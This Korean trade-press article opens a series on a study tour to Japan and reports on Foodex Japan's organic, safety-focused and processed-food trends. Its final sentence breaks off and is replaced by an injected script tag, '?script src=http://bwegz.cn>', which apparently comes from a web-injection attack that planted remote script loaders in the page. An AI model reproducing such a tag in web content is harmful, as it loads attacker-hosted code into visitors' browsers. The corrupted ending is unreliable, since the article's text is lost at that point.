〈글싣는 순서〉
1)전 세계 농식품 트렌드를 읽는다-푸덱스 재팬 현장
2)변화하는 일본 유통시장
3)급성장하고 있는 커트(CUT) 농산물
4)`안전성''으로 승부한다.
5)현장 워크숍

〈프롤로그〉
빌딩이 끝간데 없이 반듯하게 들어차 있는 토쿄는 그 자체로 `경제대국'' 일본을 상징하고 있었다.
세계적인 브랜드를 내걸고 도심 곳곳에 빼곡이 들어차 있는 고층건물들은 마치 사세라도 과시하는 듯 했다.
길거리 어디에도 휴지 한조각 볼 수 없을 정도로 깨끗하게 잘 정돈된 시내.
도쿄는 도시전체가 틈새없이 잘 짜여진 거대한 톱니바퀴처럼 큰 몸집을 서서히 움직이고 있는 듯 했다.

선진국 일본의 농업 역시 그러했다.
산업화 수준에 걸맞게 잘 짜여진 생산조직, 소비자들을 현혹시키기에 충분한 세련된 상품, 소비자들이 믿고 살수 있도록 만든 안전시스템 등이 선진 일본 농업의 현주소를 갈음하기에 충분했다.
물론 일본에 불어닥친 장기적인 경제불황에 영향을 받아 유통업계가 구조조정 몸살을 앓고 있으며, 한국과 중국에서 저가의 1차 신선농산물이 물밀듯이 몰려들어오면서 위기의식이 팽배해 지고 있지만 철저한 차별화 전략을 무기로 생존을 위해 몸부림치고 있다.

본지는 (사)농식품신유통연구원과 공동으로 34명의 투어단을 구성, 일본 농업의 신유통 트렌드를 살펴보기 위해 지난 11일부터 15일까지 4박5일간 일본의 토쿄와 쓰쿠바 등 주요 선진지를 둘러봤다.
이번 스터디 투어단이 살펴본 일본 유통시장의 변화와 소비지 시장 등을 주요 이슈별로 나눠 연재한다.

■친환경·유기농 농식품 붐
스터디 투어단의 첫 방문지는 동경 마쿠하리 니혼 컨벤션센터에서 열린 푸덱스 재팬.
세계 3대 푸드쇼로 꼽히는 이번 푸덱스 재편의 주요 컨셉은 무엇보다 최근 소비자들이 가장 관심을 갖고 있는 안전·환경·건강이다.

지난해에 이어 주최국인 일본은 일본관과 별도로 유기농관을 마련해 놓고 유기농식품의 생산과정부터 상품화 전과정을 소개하는 등 안전한 농산물 알리기에 주력했다.
특히 이번에 소개된 상품의 경우 유기농으로 재배한 신선식품뿐 아니라, 차, 빵, 국수, 묵, 간장 등 다양한 가공식품을 선보여 관람객들의 눈길을 끌었다.

또 협동조합관인 젠노(全農)관에서는 자체 개발한 `안심시스템''을 관람객들에게 적극 소개하며 시장 차별화에 나섰다.
`안심시스템''은 생산단계부터 안전성에 초점을 맞춰 별도 관리하는 시스템으로 자체 인증서까지 발급하고 있다.

■각국의 치열한 마케팅전
이번 전시회에서는 특히 갈수록 치열해지고 있는 각국의 마케팅전을 한눈에 볼 수 있었다.
세계 굴지의 농식품회사가 대거 참여한 만큼 각사들은 질세라 다양한 아이디어를 개발해 바이어 유치에 안깐힘을 썼다.

일본시장에서 돌사에 다소 뒤쳐지고 있는 델몬트는 자사 이미지를 제고시키는데 주력한 듯 대형 파인애플을 모형화한 홍보 부스를 마련해 관심을 끌었다.
또 단순히 상품을 전시하고 홍보하는데 그치지 않고 각국의 문화와 상품을 연계시켜 소비자들에게 어필하는 데 주력했다.

일본관내 옛 만두집을 재연한 부스, 중국의 한 음식점을 연상케 하는 중국관 부스, 유럽의 노천까페를 연상케 하는 부스 등이 그것이다.

■상품개발 경향
이번 전시회에 선보인 대다수의 상품 중 1차 신선 농산물은 찾아보기 어려웠다.
이는 1차 신선 농산물을 그대로 판매하기 보다 가공을 통해 부가가치를 올리는 쪽으로 상품개발 방향이 바뀌고 있기 때문이다.

유기농이나 친환경 코너를 제외하고 간간히 전시부스를 차지하고 있는 1차 신선농산물의 경우도 대부분 먹기 쉽게 슬라이스 돼 있거나 혼합돼 있는 샐러드 등이 주류를 이루었다.
또 급속동결시켜 천연의 맛을 그대로 살릴 수 있는 냉동상품들도 눈에 띄었다.
세트 상품도 상당수 개발돼 있었다.

일본인들에게 인기를 끌고 있는 김치의 경우도 한 팩안에 배추김치와 오이김치 등을 혼합시킨 상품이 등장했으며 샐러드와 햄, 과일 혼합세트 등 다양한 상품이 선보였다.
이번 전시회에 인기를 끌었던 코너 중의 하나는 `로버트''가 만들어 주는 `(감자튀김)후렌치 후라이''부스 였다.
미국 프라이웍스사가 선보인 이 상품은 튀긴 감자를 `로버트''가 한컵 한컵씩 담아 손님들에게 차례로 나눠줘 패스트 푸드 레스토랑 관계자들의 관심을 끌었다.

젊은층 등을 겨냥한 저알콜 술이 대거 등장한 것도 이번 전시회의 주요 특징이다.
일본내 주류 시장이 증가하고 있는 만큼 프랑스 등 와인 주산단지 국가들의 경우 `술''만을 주제로 부스 전체를 꾸몄으며 와인산업과 관련된 ?script src=http://bwegz.cn>

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